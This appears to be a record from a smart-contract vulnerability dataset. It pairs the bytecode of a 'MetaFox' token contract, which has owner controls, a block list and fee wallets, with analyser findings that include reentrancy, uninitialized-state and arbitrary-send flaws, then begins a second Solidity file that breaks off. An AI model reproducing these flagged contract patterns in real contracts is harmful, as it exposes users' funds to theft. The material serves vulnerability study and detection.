0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600781526020017f4d657461466f7800000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d455441464f5800000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506006600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b84b79a575288ceb195958ac5a43f66f4efc27f05d1847a3a9a75cf6f6345f6a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,285
0x0f9899494b0C4B072Eee862FBaCA17e17206202b
/** *Submitted for verification at Etherscan.io on 2021-08-09 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. */ function 